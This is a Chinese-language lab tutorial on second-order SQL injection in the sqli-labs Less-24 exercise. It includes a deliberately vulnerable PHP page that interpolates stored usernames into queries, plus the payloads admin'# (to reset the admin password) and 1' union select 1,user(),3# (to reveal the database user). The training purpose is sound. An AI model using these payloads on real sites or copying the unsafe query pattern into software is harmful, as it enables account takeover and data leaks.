二次注入的原理
二次注入原理,主要分為兩步
第一步:插入惡意數據
第二步:引用惡意數據
第一步:輸入參數1’,函數經過轉義函數變成’,參數進入數據庫存儲還原為1’
第二步:將1’從數據庫中取出 取出后直接給變量帶入SQL ,SQL注入觸發
二次注入的方法
對sqlilabs的Less-24做部分修改,使的實驗效果更明顯
第一步 修改users表中username字段的長度
ALTER TABLE `users` CHANGE `username` `username` VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL;
第二步
添加userlist.php文件,顯示所有用戶的賬號信息
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
$sql="SELECT * FROM users ORDER BY id";
$result=mysql_query($sql);
$num=mysql_num_rows($result);
for ($i=0; $i < $num; ++$i) {
$row = mysql_fetch_array($result);
$username = $row[1];
$sql_detail = "SELECT * FROM users where username='$username'";
$result_detail=mysql_query($sql_detail);
$num_detail = mysql_num_rows($result_detail);
for ($j=0; $j < $num_detail; ++$j) {
$row_detail = mysql_fetch_array($result_detail);
echo<<<END <table border="1" style="table-layout:fixed;" width="1000"> <tr> <th>$row_detail[1]</th> <th>$row_detail[2]</th> </tr> </table> END;
}
}
?>
注冊一個新用戶,用戶名為admin’#,密碼為123
登錄上了之后,重新設置,設置用戶名為123,密碼為123
admin的密碼改變了
因為在pass_change.php中,
$username= $_SESSION["username"];
$sql = "UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' ";
所以就達到了修改admin密碼為自己想要的密碼的目的
在使用時沒有進行校驗,以上是sqlilabs原始關卡的代碼
注冊一個用戶,用戶名:1’ union select 1,user(),3#
注冊成功后,查看userlist.php
userlist.php中顯示了root@localhost 3
$sql_detail = "SELECT * FROM users where username='1' union select 1,user(),3#'";
1, root@localhost,3
所以顯示的時候就顯示的是root@localhost 3